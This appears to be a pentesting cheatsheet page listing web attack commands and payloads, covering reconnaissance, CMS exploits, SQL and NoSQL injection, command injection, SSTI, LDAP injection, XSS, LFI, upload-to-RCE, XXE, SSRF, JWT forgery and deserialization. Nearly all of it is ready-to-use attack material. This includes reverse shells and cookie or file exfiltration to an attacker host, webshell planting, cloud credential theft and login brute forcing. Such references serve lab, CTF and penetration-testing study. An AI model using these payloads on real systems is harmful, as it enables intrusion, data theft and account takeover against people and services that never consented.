← Cheatsheets Web attacks Discovery, CMS and each injection on its own, because each is detected and exploited differently: SQLi, LFI, upload-to-RCE, SSTI, command injection, XXE, SSRF, NoSQL, LDAP, JWT and deserialization.
Discovery & CMS Discovery & fuzzing 33 commands Copy all
Initial recon Technologies, CMS, versions and known flaws whatweb http://<ip>; nikto -h http://<ip>First look: headers, tech and redirects curl -sSi http://<ip>/ # cabeceras, servidor, cookies y redireccionesCheck robots.txt for hidden paths curl -s http://<ip>/robots.txtDirectories & files Discover hidden paths and files dirsearch -u http://<ip>/ --exclude-status=403,404,503 -t 100Recursive directory fuzzing with extensions feroxbuster -u http://<ip> -w <wordlist> -x php,txt,bak -C 404,403Directory and file brute force (the classic) gobuster dir -u http://<ip> -w <wordlist> -x php,txt,html -t 50Flexible fuzzer for paths, parameters and headers wfuzz -c -z file,<wordlist> --hc 404 http://<ip>/FUZZRecursive fuzzing following redirects (two levels) feroxbuster -u http://<ip> -w <wordlist> -x php,txt -r -d 2Discover API endpoints (include the informative 401/403) ffuf -u http://<ip>/api/FUZZ -w <api_wordlist> -mc 200,401,403Fuzz paths and extensions with ffuf ffuf -w <wordlist>:FUZZ -u http://<ip>/FUZZ -e .php,.txt,.htmlRecursive fuzzing by response codes ffuf -w <wordlist>:FUZZ -u http://<ip>/ -mc 200,301,302 -recursionAuto-calibration (-ac): filter only the real junk responses ffuf -w <wordlist>:FUZZ -u http://<ip>/FUZZ -mc all -acExtensions & backup Discover files and their backups (.bak, .old, ~) ffuf -u 'http://<ip>/FUZZ' -w <wordlist> -e .php,.bak,.old,.txt,.zip,~ -mc 200,301,403Double FUZZ: filename and extension at once wfuzz -z list,php-asp-txt -u 'http://<ip>/FUZZ.FUZ2Z' -w <wordlist> --hc 404VHosts / subdomains Enumerate subdomains/vhosts via the Host header gobuster vhost -u http://<domain> -w <wordlist> --append-domainPassive subdomain enumeration from public sources subfinder -d <domain> -silentVhost fuzzing hiding by response size ffuf -u 'http://<domain>' -H 'Host: FUZZ.<domain>' -w <subdomains.txt> -fs <n>Vhost fuzzing filtering by the base response char count (--hh) wfuzz -u 'http://<domain>' -H 'Host: FUZZ.<domain>' -w <subdomains.txt> --hh <n>Nested-subdomain fuzzing (prefixes like preprod-, dev-, staging-) wfuzz -u 'http://<domain>' -H 'Host: preprod-FUZZ.<domain>' -w <words.txt> --hw <n>Fuzz vhosts filtering by size ffuf -w <wordlist>:FUZZ -u http://<ip>/ -H 'Host: FUZZ.<domain>' -fs <n>Parameters Find the parameter vulnerable to LFI ffuf -u 'http://<ip>/?FUZZ=/etc/passwd' -w <params.txt> -fs <n>Fuzz a numeric range (IDOR, pagination, object IDs) wfuzz -z range,1-10000 -u 'http://<ip>/?id=FUZZ' --hh <n>Discover hidden GET parameters ffuf -w <wordlist>:FUZZ -u 'http://<ip>/?FUZZ=test' -fs <n>Login bruteforce Brute-force web login forms (POST) ffuf -u 'http://<ip>/login' -d 'user=<user>&pass=FUZZ' -w <rockyou.txt> -fc 401Brute force an HTTP Basic auth with wfuzz wfuzz --basic 'admin:FUZZ' -w <rockyou.txt> --hc 401 http://<ip>/OSINT / metadata Passive subdomains via certificate transparency (crt.sh) curl -s 'https://crt.sh/?q=<domain>&output=json' | jq -r '.[].name_value' | sort -uHistoric URLs for the domain (forgotten params and files) gau <domain> 2>/dev/null | tee urls.txt # o waybackurls <domain>Build a wordlist from the site's words cewl -d 2 -m 5 http://<ip> -w words.txtRead a downloaded file's metadata (author, software) exiftool <file> # author, software, GPS: sometimes leaks users or pathsBuild a wordlist from the page's words (cewl alternative) curl -s http://<ip>/ | tr -d '<>"/' | tr ' ' '\n' | sort -u > web.txtIIS / short-name IIS: enumerate 8.3 short names (tilde) with IIS-ShortName-Scanner java -jar iis_shortname_scanner.jar 0 5 http://<ip>/IIS: build a wordlist from the 8.3 prefix to recover the full name egrep -r ^<prefix> /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt # then gobuster -x .aspx,.aspExploits Search the exploit by product/version and copy it to your cwd searchsploit <product> <version>; searchsploit -m <path> # copies the exploit to your cwdCMS (WordPress, Drupal, Joomla) 15 commands Copy all
WordPress WordPress: vulnerable plugins, themes and users wpscan --url http://<domain>/ --enumerate p,t,u --api-token <token>WordPress: password brute force wpscan --url http://<domain>/ --usernames <user> -P <rockyou.txt>Read the DB credentials from wp-config.php grep -i pass /var/www/html/wordpress/wp-config.phpRCE via a vulnerable WordPress plugin curl 'http://<ip>/wp-content/uploads/simple-file-list/<n>.php?cmd=id'LFI via a plugin (arbitrary read) curl 'http://<domain>/wp-content/plugins/<plugin>/filedownload.php?ebookdownloadurl=/etc/passwd'WordPress: enumerate users, plugins and themes with WPScan wpscan --url http://<ip> --enumerate u,ap,at --api-token <token>WordPress: brute-force login via XML-RPC/wp-login wpscan --url http://<ip> -U <user> -P <rockyou.txt>Password spraying via xmlrpc.php (system.multicall) curl 'http://<ip>/xmlrpc.php' -d '<methodCall> system.multicall ... </methodCall>'Drupal Drupal: version, modules and themes droopescan scan drupal -u http://<ip>/ --threads-scan 100Drupalgeddon2: pre-auth RCE (CVE-2018-7600) ruby drupalgeddon2.rb http://<ip>Drupal: enumerate version and modules droopescan scan drupal -u http://<ip>Drupalgeddon2 with Metasploit (CVE-2018-7600) msfconsole -q -x 'use unix/webapp/drupal_drupalgeddon2; set RHOSTS <ip>; run' # CVE-2018-7600Joomla Joomla: scan version, components and paths joomscan --url http://<ip>Joomla: RCE by editing the template from the admin panel Joomla admin > Templates > editar templateDetails.php: system($_GET['c']);CMS Made Simple Blind SQLi in CMS Made Simple (CVE-2019-9053) python3 46635.py -u http://<ip>/ -c -w <rockyou.txt> # CVE-2019-9053 (blind SQLi, cracks the hash)Injections SQL injection 41 commands Copy all
Detection / hidden data Retrieve hidden data by forcing a true condition ?category=Gifts' OR 1=1-- -Auth bypass Comment out the password check admin'-- -Always-true condition on the login ' OR '1'='1'-- -UNION: column count Increment until error to count columns ' ORDER BY 3-- -Fill with NULL until it stops erroring ' UNION SELECT NULL,NULL,NULL-- -UNION: text column Find a column that accepts text ' UNION SELECT 'a',NULL,NULL-- -UNION: other tables Dump credentials from another table ' UNION SELECT username,password FROM users-- -UNION: multi-value 1 column Concatenate several values into one column (Oracle/PostgreSQL) ' UNION SELECT username||'~'||password,NULL FROM users-- -Same with CONCAT (MySQL/MSSQL) ' UNION SELECT CONCAT(username,':',password),NULL FROM users-- -DBMS: MySQL/MSSQL Version fingerprint; comment `-- ` or `#` ' UNION SELECT @@version,NULL-- -Version fingerprint via UNION ' UNION SELECT 1,@@version,3,4-- -DBMS: PostgreSQL Version; concatenation with `||` ' UNION SELECT version(),NULL-- -DBMS: Oracle Oracle version; every SELECT needs FROM (dual) ' UNION SELECT banner,NULL FROM v$version-- -List tables in Oracle (all_tables) ' UNION SELECT table_name,NULL FROM all_tables-- -DBMS: no-Oracle List tables via information_schema (MySQL/MSSQL/PostgreSQL) ' UNION SELECT table_name,NULL FROM information_schema.tables-- -List databases via UNION ' UNION SELECT 1,schema_name,3,4 FROM information_schema.schemata-- -DBMS: SQLite Dump the schema in SQLite ' UNION SELECT sql,NULL FROM sqlite_master-- -Blind: boolean Extract char by char via conditional response ' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a'-- -Blind: conditional error Trigger an error only when the condition is true ' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END)-- -Blind: visible error The error message leaks the data (CAST/CONVERT) ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- -MySQL: error-based with EXTRACTVALUE ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))-- -Blind: time MySQL: conditional delay ' AND IF(1=1,SLEEP(5),0)-- -PostgreSQL: pg_sleep '; SELECT pg_sleep(5)-- -MSSQL: WAITFOR DELAY '; IF (1=1) WAITFOR DELAY '0:0:5'-- -Blind: time + data Combine delay and char-by-char extraction ' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- -OOB: interaction Oracle: force a request to the collaborator (blind detection) ' UNION SELECT UTL_HTTP.REQUEST('http://<lhost>/'),NULL FROM dual-- -OOB: exfiltration Oracle: exfiltrate the data in the DNS query subdomain ' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % x SYSTEM "http://'||(SELECT password FROM users WHERE rownum=1)||'.<lhost>/"> %x;]>'),'/l') FROM dual-- -Bypass: XML-encoding Encode keywords with HTML entities to bypass the WAF <stockCheck><productId>1 UNION SELECT NULL</productId></stockCheck> (con S en SELECT)Bypass: WAF Inline and MySQL version comments '/**/UNION/**/SELECT/**/NULL-- - | /*!50000UNION*/RCE / files MySQL: read a file from the server ' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -MySQL: write a webshell (INTO OUTFILE) ' UNION SELECT '<?php system($_GET[0]);?>',NULL INTO OUTFILE '/var/www/html/s.php'-- -MSSQL: command execution '; EXEC xp_cmdshell 'whoami'-- -Read a local file via UNION ' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -Write a webshell via UNION ' UNION SELECT '',"<?php system($_REQUEST[0]);?>",'','' INTO OUTFILE '/var/www/html/sh.php'-- -SQL truncation Truncation: spaces that make the DB store 'admin' admin '-- -DB privileges Check whether the user is an admin ' UNION SELECT 1,super_priv,3,4 FROM mysql.user WHERE user='root'-- -sqlmap Enumerate databases non-interactively sqlmap -u '<url>' --batch --dbsDump a table from a saved request sqlmap -r <req.txt> --batch --dump -T users -D <db>Attempt an operating-system shell sqlmap -u '<url>' --os-shellRead a local file with sqlmap sqlmap -u '<url>' --file-read '/etc/passwd'Evade filters with tamper and raise the level sqlmap -u '<url>' --tamper=space2comment --level=5 --risk=3NoSQL injection 16 commands Copy all
Auth bypass ($ne/$gt) Login bypass with the $ne operator (not equal) username[$ne]=1&password[$ne]=1JSON bypass with $gt (any value) {"username": {"$gt": ""}, "password": {"$gt": ""}}Always-true condition ($where / JS evaluation) admin' || '1'=='1 admin' || 1==1//Operator login bypass: $ne/$gt make the condition always true username[$ne]=x&password[$ne]=x | username[$gt]=&password[$gt]=Operator / JSON Always-true condition to dump the whole collection {"username":{"$ne":null}} # in a search engine -> dump ALL documents$exists/$nin operators to force the authentication logic username[$exists]=true&password[$exists]=falsePick the target user with $in and skip the password with $ne {"username":{"$in":["admin","root"]},"password":{"$ne":1}}Many backends are only injectable if you send JSON instead of urlencoded Content-Type: application/json -> {"user":{"$ne":null},"pass":{"$ne":null}}Blind ($regex) Extract the password char-by-char with $regex username=admin&password[$regex]=^aDiscover the password length with $regex before extracting it username=admin&password[$regex]=^.{8}$Blind extraction character by character by refining the $regex prefix username=admin&password[$regex]=^a -> ^ab -> ^abc ...Tell the real length apart by forcing a $regex that does not match username=admin&password[$regex]=.{20,}$where / JS Injection in $where (server-side JS): time-based blind with sleep {"username":"admin","$where":"sleep(5000)"}Injection when the query is built as a JS string ($where) admin' || '1'=='1 | ';return true;var _='Extraction via $where combining a user condition and a prefix match {"$where":"this.user=='admin'&&this.pass.match(/^a/)"}Automation NoSQLMap: automates the bypass and extraction against MongoDB nosqlmap -u 'http://<ip>/login' --data 'user=x&pass=x' --attack 2Command injection 16 commands Copy all
Operators Metacharacters that chain or substitute commands ; id | id || id && id `id` $(id)Separate commands with a newline (URL-encoded) ping -c 1 <ip>%0aid # %0a = newlineList environment variables (hunt for hints) printenvDetection (blind) Confirm blind injection by timing ; sleep 5 # the response takes 5 s if vulnerableExfiltration / callback Confirm blind via an out-of-band channel ; curl http://<lhost>/$(whoami) # o nslookup $(whoami).<lhost>Reverse shell Command injection → reverse shell ; bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'URL-encoded reverse shell inside a vulnerable parameter curl 'http://<ip>/<script>?cmd=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<lhost>%2F<lport>%200%3E%261'busybox fallback when the target's netcat lacks -e busybox nc <lhost> <lport> -e /bin/bash # when the target's nc has no -eFilter bypass Substitute spaces when they are filtered $(printf '\x20') / ${IFS} # evadir filtros de espaciosStand in for a filtered space ${IFS}Run with commas instead of spaces {ls,-la}Produce '/' without typing it (filter bypass) ${PATH:0:1}Run a command written backwards $(rev<<<'imaohw')Run past a case-sensitive filter $(tr '[A-Z]' '[a-z]'<<<'WhOaMi')PowerShell: run a reversed command iex "$('imaohw'[-1..-20] -join '')"PowerShell: run a base64 command iex "$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('<b64>')))"SSTI (templates) 18 commands Copy all
Detection Per-engine probe: each syntax reveals the family {{7*7}} ->49 | ${7*7} | #{7*7} | <%= 7*7 %> | ${{7*7}} | @(7*7)Detection polyglot: a broken render or error confirms SSTI across engines ${{<%[%'"}}%\ # polyglot: a broken render or error confirms SSTI across enginesJinja2 (Python) Enumerate the context and reach the globals {{ config.items() }} {{ self.__init__.__globals__ }}Modern RCE via the cycler object {{ cycler.__init__.__globals__.os.popen('id').read() }}File read through the builtins {{ get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read() }}Enumerate subclasses to locate Popen or os in the list {{ ''.__class__.__mro__[1].__subclasses__() }} # find the Popen/os index in the listWAF bypass: hex attr() to dodge '__class__' filters {{()|attr('\x5f\x5fclass\x5f\x5f')}} # hex attr() to dodge '__class__' filtersTwig (PHP) RCE applying system() as a filter {{['id']|filter('system')}} | {{['id']|map('system')|join}}Twig: register system as an undefined filter and run it {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}Freemarker/Velocity (Java) Freemarker: instantiate Execute <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}Velocity: reach Runtime via reflection #set($x=$class.inspect('java.lang.Runtime').type.getRuntime().exec('id'))Smarty (PHP) Smarty: direct system or {php} block {system('id')} | {php}system('id');{/php}Smarty: detect the version and write a webshell into the docroot {$smarty.version} | {Smarty_Internal_Write_File::writeFile('/var/www/html/s.php','<?php system($_GET[0]);?>',$smarty)}ERB/Mako RCE in Ruby ERB and Python Mako <%= system('id') %> (ERB) | ${__import__('os').popen('id').read()} (Mako)ERB (Ruby): RCE with backticks or IO.popen <%= `id` %> | <%= IO.popen('id').read %> # Ruby ERBAutomation Detect and exploit SSTI automatically tplmap -u 'http://<ip>/page?name=x' --os-shellThymeleaf (Java) Thymeleaf/Spring EL: reach Runtime via the T(...) expression ${T(java.lang.Runtime).getRuntime().exec('id')} | *{T(...)} | __${...}__::.xNode (Pug/Jade) Pug/Jade (Node): RCE via require('child_process') #{root.process.mainModule.require('child_process').execSync('id')} # Pug/Jade (Node)LDAP injection 15 commands Copy all
Auth bypass Login bypass with the * wildcard in both fields user=*&pass=* → (&(uid=*)(userPassword=*))Close and reopen the filter's parentheses *)(uid=*))(|(uid=*Target a specific user when you control only one field admin)(|(password=*Close the filter and truncate the rest with OR/negation for the bypass admin))(|(cn=* | admin)(!(&(1=0)Enumerate by response Enumerate valid users by response differences *)(uid=admin) # variants to enumerate by responseFilter injection: close the filter and add a condition matching everything *)(uid=*))(|(uid=* | *)(|(objectClass=*)Enumerate objects and truncate the rest of the filter with NUL (%00) *)(objectClass=*) | *))%00Tamper the filter's AND/OR logic to bypass authentication (&(uid=admin)(userPassword=*)) | (|(uid=*)(uid=admin))OR injection: widen the filter so it returns the target account (|(uid=*)(uid=admin))Enumerate by attribute (mail, objectClass) based on which response changes *)(mail=*) | *)(objectClass=userBlind (char by char) Blind attribute extraction char by char using wildcards by response user=admin)(userPassword=a*) -> b* -> ...Wildcard in the password + NUL to ignore the trailing condition pass=*)(cn=*))%00Blind: iterate the hash/password prefix by valid response user=admin)(userPassword=<n>*) (0-9,a-f)Legitimate queries Once in: dump the directory with the leaked bind ldapsearch -x -H ldap://<ip> -D 'cn=admin,dc=<dc>,dc=<dc>' -w '<pass>' -b 'dc=<dc>,dc=<dc>'Anonymous enumeration of the whole tree if anonymous bind is allowed ldapsearch -x -H ldap://<ip> -b 'dc=<domain>,dc=<domain>' '(objectClass=*)'XSS (Cross-Site Scripting) 29 commands Copy all
Detection Basic probe in HTML context <script>alert(document.domain)</script>Break out of an attribute and confirm injection "><svg onload=alert(1)>Context: HTML Unencoded HTML (reflected or stored) <script>alert(1)</script>When <script> is filtered but tags pass <img src=x onerror=alert(document.cookie)>Context: attribute Close the attribute and exit into HTML context "><script>alert(1)</script>With `>` encoded: stay in the attribute using a handler " onmouseover="alert(1)Fires with no user interaction " autofocus onfocus="alert(1)Context: JS string Break a JavaScript string with the quote '-alert(1)-'Variant with angle brackets HTML-encoded '+alert(1)+'Single quote escaped: escape the backslash \'-alert(1)//Quote and backslash escaped: close the <script> </script><script>alert(1)</script>Context: template literal Template literal (backticks) with everything else escaped ${alert(1)}Context: AngularJS AngularJS expression with <> and quotes encoded {{$eval.constructor('alert(1)')()}}AngularJS >=1.6 (no sandbox) {{constructor.constructor('alert(1)')()}}Sink DOM document.write sink via location.search/hash #"><img src=x onerror=alert(1)>innerHTML sink <img src=0 onerror=alert(1)>jQuery sink in an href attribute (anchor) javascript:alert(1)jQuery selector sink via hashchange event <iframe src="https://<domain>/#" onload="this.src+='<img src=0 onerror=print()>'"></iframe>Filter bypass All tags blocked except custom ones <xss id=x onfocus=alert(document.cookie) tabindex=1>#xOnly some SVG markup allowed <svg><animateTransform onbegin=alert(1)>Most tags and attributes blocked <iframe src="https://<domain>/?search=<body onresize=print()>" onload=this.style.width='100px'>Reflected in the canonical link tag ?'accesskey='x' onclick='alert(1)Exploitation Cookie theft to a collaborator (btoa) <script>new Image().src='http://<lhost>/?c='+btoa(document.cookie)</script>Capture passwords autofilled by the manager <input name=username><input type=password name=password onchange="fetch('http://<lhost>/?p='+this.value)">Blind/OOB XSS: exfiltrates to the collaborator <img src=1 onerror="fetch('http://<lhost>/?x='+document.cookie)">Steal the CSRF token and post the cookie in a comment <script>fetch('/post/comment',{method:'POST',mode:'no-cors',body:new URLSearchParams({csrf:document.getElementsByName('csrf')[0].value,comment:document.cookie,postId:'1'})})</script>Cookie theft Exfiltrate the session cookie to our host <script>new Image().src='http://<lhost>/c='+document.cookie</script>Cookie theft via redirection <script>document.location='http://<lhost>/?c='+btoa(document.cookie)</script>Tools Analyse a parameter with XSStrike python3 xsstrike.py -u 'http://<ip>/?q=test'Files & server-side LFI / traversal / RFI 20 commands Copy all
Traversal / bypass Path traversal; `....//` when `../` is filtered ?file=../../../../etc/passwd | ....//....//etc/passwdNull byte `%00` and double URL-encode of the separator ?file=../../../../etc/passwd%00 | ..%252f..%252f (doble encode)Fuzz LFI payloads over a parameter ffuf -w <wordlist>:FUZZ -u 'http://<ip>/index.php?page=FUZZ'PHP wrappers Read PHP source in base64 ?file=php://filter/convert.base64-encode/resource=index.phpdata:// to inject a webshell (RCE) ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWzBdKTs/Pg==&0=idexpect/zip/phar to execute code ?file=expect://id | ?file=zip://shell.jpg%23shell.php | phar://PHP filter chain: LFI to RCE writing no file python3 php_filter_chain_generator.py --chain '<?php system($_GET[0]);?>' # paste the chain into ?file=LFI to RCE RCE via PHP session poisoning /index.php?page=/var/lib/php/sessions/sess_<id>&cmd=idPoison /proc/self/environ via the User-Agent and execute curl -A '<?php system($_GET[0]);?>' http://<ip>/ ; ?file=/proc/self/environ&0=idLFI to RCE via open descriptors in /proc/self/fd ?file=/proc/self/fd/<n>&0=id # after opening/uploading a file, try descriptors 0-20LFI2RCE with phpinfo() and a race condition on the temp file # upload any file + LFI over phpinfo() and run the race-condition exploit (tmp_name)Log poisoning Poison the log then include it (RCE) User-Agent: <?php system($_GET[0]);?> -> ?file=/var/log/apache2/access.log&0=idauth.log via an SSH attempt with a payload in the username ?file=/var/log/auth.log (tras un ssh 'user=<?php...' fallido)nginx log poisoning (besides apache's) ?file=/var/log/nginx/access.log | /var/log/nginx/error.log (User-Agent envenenado)Juicy files System config and inventory files /etc/passwd /etc/hosts /etc/crontab /etc/apache2/sites-enabled/000-default.confSSH keys and history: direct access /home/<user>/.ssh/id_rsa /home/<user>/.bash_history/proc for environment variables and connections /proc/self/environ /proc/self/cmdline /proc/net/tcpLFI on Windows/IIS: typical files to confirm and loot C:\Windows\win.ini C:\Windows\System32\drivers\etc\hosts C:\inetpub\wwwroot\web.configLFI on IIS: applicationHost.config (app-pool credentials) C:\Windows\System32\inetsrv\config\applicationHost.config # config y credenciales de IISRFI Remote File Inclusion: include a remote payload ?file=http://<lhost>/shell.txt (allow_url_include=On)File upload to RCE 20 commands Copy all
Magic bytes / double extension Prepend PNG magic bytes to a PHP webshell (echo -ne '\x89PNG\r\n\x1a\n'; echo '<?php system($_GET["cmd"]); ?>') > pwned.php.pngUpload the webshell forcing the image Content-Type curl -F 'file=@pwned.php.png;type=image/png' -F 'pupload=upload' http://<ip>/upload.phpGIF89a prefix to slip the webshell past content validation (echo 'GIF89a;'; echo '<?php system($_GET[0]); ?>') > shell.php.gifJPEG header (FFD8) + PHP to sneak the upload past checks (printf '\xff\xd8\xff\xee'; echo '<?php system($_GET[0]);?>') > shell.php.jpgAlternative extensions Bypass extension filters with PHP variants shell.phar / shell.phtml / shell.pHp # extensiones alternativasIIS: upload a malicious web.config for RCE curl -F 'file=@shell.config;type=image/png' http://<ip>/transfer.aspxExecutable extension variants on IIS/ASP shell.asp shell.aspx shell.asa shell.cer shell.cdx # variantes IIS/ASPPHP extension variants sometimes still served shell.php3 shell.php4 shell.php5 shell.php7 shell.pht shell.phtml shell.pharContent-Type / bypass Spoof the Content-Type to an image while keeping shell.php curl -F 'file=@shell.php;type=image/png' http://<ip>/upload.php # Content-Type falsoFilename tricks: null byte, semicolon and trailing dots shell.php%00.png shell.php;.png shell.php..... # null byte / truncado / puntos finalesBypass client-side (JS) checks by editing the filename in the request # en Burp: cambiar filename="x.png" a x.php tras pasar la validacion de cliente (JS).htaccess Apache: force an innocuous extension to run as PHP printf 'AddType application/x-httpd-php .evil\n' > .htaccess # subir .htaccess + shell.evilWith .htaccess: force an uploaded .jpg to run as PHP printf 'AddHandler application/x-httpd-php .jpg\n' > .htaccess # run .jpg as PHPWebDAV (PUT/MOVE) WebDAV: upload as .txt then rename to .aspx to bypass the extension filter (IIS) curl -X PUT http://<ip>/shell.txt -d @shell.txt; curl -X MOVE -H 'Destination: http://<ip>/shell.aspx' http://<ip>/shell.txtProbe which extensions WebDAV accepts and operate by hand davtest -url http://<ip>/; cadaver http://<ip>/ # PUT/MOVE/DELETE manualesDetect WebDAV and the allowed verbs with nmap nmap -p80,443 --script http-webdav-scan <ip>Payload Run commands through the uploaded webshell curl 'http://<ip>/uploads/pwned.php?cmd=id'Generate a .war/.jsp for Tomcat/Java servers msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > shell.warPHP reverse shell with msfvenom msfvenom -p php/reverse_php LHOST=<lhost> LPORT=<lport> -f raw > shell.phpStealthy, encrypted webshell with weevely weevely generate <pass> shell.php; weevely http://<ip>/uploads/shell.php <pass>XXE (XML external entities) 13 commands Copy all
File read Declare an external entity that reads a file <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> ... &xxe;php://filter to exfiltrate PHP source in base64 <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">Classic external entity to read a file <!DOCTYPE r [<!ENTITY x SYSTEM 'file:///etc/passwd'>]><r>&x;</r>SSRF-via-XXE Use the entity to reach internal services <!ENTITY xxe SYSTEM "http://127.0.0.1:<port>/">SSRF to cloud metadata through the XXE <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">OOB / blind Blind XXE with an external DTD (parameter entity) <!DOCTYPE r [<!ENTITY % ext SYSTEM "http://<lhost>/evil.dtd"> %ext;]>External DTD content for blind exfiltration evil.dtd: <!ENTITY % f SYSTEM "file:///etc/passwd"><!ENTITY % s "<!ENTITY send SYSTEM 'http://<lhost>/?x=%f;'>">Exfiltrate a file via blind XXE (OOB) ruby XXEinjector.rb --host=<lhost> --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilterRCE RCE if the PHP expect module is loaded <!ENTITY xxe SYSTEM "expect://id">DoS Billion laughs: exponential entity expansion <!DOCTYPE lolz [<!ENTITY a "aa"><!ENTITY b "&a;&a;&a;&a;&a;"> ...]>Bypass XInclude when you cannot declare a DOCTYPE <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>XXE in an SVG the viewer processes on render SVG subido con <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>Turn a JSON endpoint into XML to smuggle the XXE Content-Type: application/xml + cuerpo <?xml ...>SSRF (server-side request forgery) 16 commands Copy all
Target: localhost Reach an internal panel only accessible from the server itself url=http://127.0.0.1/adminProbe services on localhost url=http://localhost/ | http://127.0.0.1:<port>/Target: internal back-end Pivot to another internal-network system url=http://192.168.0.<n>:8080/admin/delete?username=carlosTarget: cloud metadata AWS: steal IAM role credentials (IMDSv1) url=http://169.254.169.254/latest/meta-data/iam/security-credentials/GCP: metadata (requires the header) url=http://metadata.google.internal/computeMetadata/v1/ (Metadata-Flavor: Google)Bypass: blacklist 127.0.0.1 encodings: hex, octal, decimal, short url=http://0x7f000001/ http://0177.0.0.1/ http://2130706433/ http://127.1/URL-encode and double URL-encode of the IP url=http://%31%32%37%2E%30%2E%30%2E%31/ (y doble URL-encode)IPv6 representations of localhost url=http://[::1]/ http://[0:0:0:0:0:ffff:127.0.0.1]/Bypass: whitelist Parser confusion with @ (userinfo) or # (fragment) url=http://trusted.com@169.254.169.254/ http://169.254.169.254#trusted.comDNS resolving to an internal IP url=http://169.254.169.254.nip.io/Bypass: open-redirect Chain an open redirect to bypass the filter stockApi=/product/nextProduct?path=http://192.168.0.<n>:8080/admin/delete?username=carlosBlind: OOB Blind SSRF: detect via a collaborator interaction Referer: http://<subdomain>.oastify.com/ (o el parametro vulnerable)Blind: shellshock Blind SSRF + Shellshock against an internal-network CGI User-Agent: () { :; }; /bin/bash -c 'nslookup <lhost>' (SSRF a un CGI interno)Protocols gopher to speak raw to internal Redis/MySQL/SMTP url=gopher://127.0.0.1:6379/_<redis-commands>file:// to read files, dict:// to probe url=file:///etc/passwd | dict://127.0.0.1:6379/infoDetection Listen to read the server's raw request nc -nlvp 80 # see the raw request the server makesAuth & objects JWT (JSON Web Tokens) 16 commands Copy all
Recognize / manipulate Decode the token header and payload python3 jwt_tool.py '<jwt>'Tamper claims (expiry, role) once the key is known or nullified editar exp/iat o el claim de rol (admin=true) y volver a firmar con el secreto crackeadoRun all known attacks against the endpoint (playbook) python3 jwt_tool.py -t http://<ip>/ -rh 'Authorization: Bearer <jwt>' -M atalg:none alg:none attack (server does not verify the signature) python3 jwt_tool.py '<jwt>' -X anone algorithm: if the server accepts it, forge any claim with no key header {"alg":"none"} + payload modificado + firma VACIACrack the secret (HS256) Brute-force the HS256 secret hashcat -m 16500 jwt.txt <rockyou.txt>Forge the token: edit the payload and re-sign with the secret python3 jwt_tool.py '<jwt>' -T -S hs256 -p '<secret>'Crack the HS256 secret with rules when the base wordlist fails hashcat -m 16500 jwt.txt <rockyou.txt> -r rules/best64.ruleCrack the HS256 secret directly with jwt_tool python3 jwt_tool.py '<jwt>' -C -d <rockyou.txt>Algorithm confusion RS256→HS256 algorithm confusion with the public key python3 jwt_tool.py '<jwt>' -X k -pk public.pemkid / jku / x5u kid injection: point to a file with known/empty content as the key python3 jwt_tool.py '<jwt>' -I -hc kid -hv '../../../dev/null' (sign with an empty key)kid vulnerable to SQLi: make the DB return a key you control kid: "x' UNION SELECT 'clave_conocida'-- -"jwk injection: embed your own public key in the header to self-sign python3 jwt_tool.py '<jwt>' -X i (jwk embebido en la cabecera)jku/x5u: point validation to a key set you host header jku/x5u: "http://<lhost>/jwks.json"x5u/x5c injection: force validation against your certificate header x5u/x5c: cadena de certificados controlada por el atacanteFrameworks Flask session cookies (signed, not JWT): crack the SECRET_KEY flask-unsign --unsign --cookie '<cookie>' --wordlist <rockyou.txt>Insecure deserialization 15 commands Copy all
Node.js Node.js (node-serialize): IIFE that runs on deserialize {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('<cmd>')}()"}PHP PHP: tampered serialized object (object injection) O:4:"User":2:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;}PHP: deserialization via the phar:// wrapper (phar-lfi-rce) phar://uploaded.phar/x # dispara __wakeup/__destruct del gadgetPHP: phpggc builds POP gadget chains for known frameworks phpggc Monolog/RCE1 system 'id' -b | phpggc Laravel/RCE1 system idPython (pickle) Python pickle: __reduce__ that runs on load class E:\n def __reduce__(self): return (os.system,('<cmd>',))Python: serialize an object with a malicious __reduce__ and pass it base64 python3 -c "import pickle,os,base64;print(base64.b64encode(pickle.dumps(type('E',(),{'__reduce__':lambda s:(os.system,('id',))})())).decode())"Java (ysoserial) Java: build a gadget with ysoserial (pick the chain by the classpath libs) java -jar ysoserial.jar CommonsCollections5 'bash -c {echo,<b64>}|{base64,-d}|bash' | base64 -w0Recognise a serialized Java object by its header (base64 rO0AB / hex AC ED 00 05) rO0AB... | bytes AC ED 00 05Blind detection: URLDNS triggers a DNS lookup without needing RCE java -jar ysoserial.jar URLDNS 'http://<lhost>/' -> callback DNSAlternative chain when CommonsCollections is not on the classpath java -jar ysoserial.jar CommonsBeanutils1 'id' | base64 -w0.NET (ysoserial.net) .NET: ysoserial.net for BinaryFormatter/LosFormatter (ViewState, etc.) ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c 'id' -o base64.NET ViewState: forge the gadget with the leaked machineKey __VIEWSTATE + __VIEWSTATEGENERATOR -> ysoserial.net -p ViewState --generator=<gen> 